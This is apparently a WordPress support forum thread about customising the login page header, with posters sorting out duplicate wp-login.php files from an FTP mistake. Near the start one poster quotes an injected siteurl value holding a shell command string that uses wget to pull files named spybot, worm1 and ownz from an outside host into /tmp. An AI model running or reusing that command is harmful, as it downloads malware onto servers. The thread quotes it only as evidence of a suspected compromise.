drsmith

This is an exploit, although I dont know if that code has run. I removed the “if the sites been moved” crap code from wp-login.

Looks like someone managed to change siteurl
to this:
‘wp-login.php?action=https://www.visualcoders.net/spy.gif?&cmd=cd%20/tmp;wget%20www.visualcoders.net/spybot.txt;wget%20www.visualcoders.net/worm1.txt;wget%20www.visualcoders.net/php.txt;wget%20www.visualcoders.net/ownz.txt;wget%20www.visualcoders.net’
I’m the only user past level 1. Security exploit?

Fixed this. Neede to edit admin-header.php

Not that I know of, although that would be sweet. Lets all pitch in on a coding bounty ??

Oh christ, I’ve been uploading to the wp-admin directory the whole time and had two wp-login.php pages.
FWIW the string “<h1>Nerdfilter</h1>” never was used, I just didn’t use backticks to protect the code on this forum.
Thanks for the help guys. Sorry for the silly ftp mistake.
Now onto more fun stuff!
How about this?
https://www.everythingisnt.com/archives/screenshot.JPG
I guess there’s an include or a template somewhere which generates the WordPress at the top, but have yet to find it.

The WP logo is a background CSS element so if I do this I just have two overlapping logos.
I mean, this has to be somewhere. I checked admin header, no luck.

Nope, I didnt ignore your post. That line has been replaced with the nerdfilter.com line I posted above.
Am I missing something obvious?
<div id=”login”>
<h1>Nerdfilter</h1> (forum ruins the formatting here)

When run the code produced is this

<div id=”login”>
<h1>WordPress</h1>
<form name=”loginform” id=”loginform” action=”wp-login.php?action=login” method=”post”>

I found a line that looks like it could be it a while ago and replace it with:
<div id=”login”>
<h1>Nerdfilter</h1>
Still, same results.

Yeah, www.remarpro.com doesnt exist in that file. I think there’s a variable I need to change or disable generating that wordpress.com hyperlink. I also get it when posting or any admin page.

Got it. I had to replace both redirects not just the bottom one.

Thanks a million. I’m new to this and its MUCH nicer than greymatter.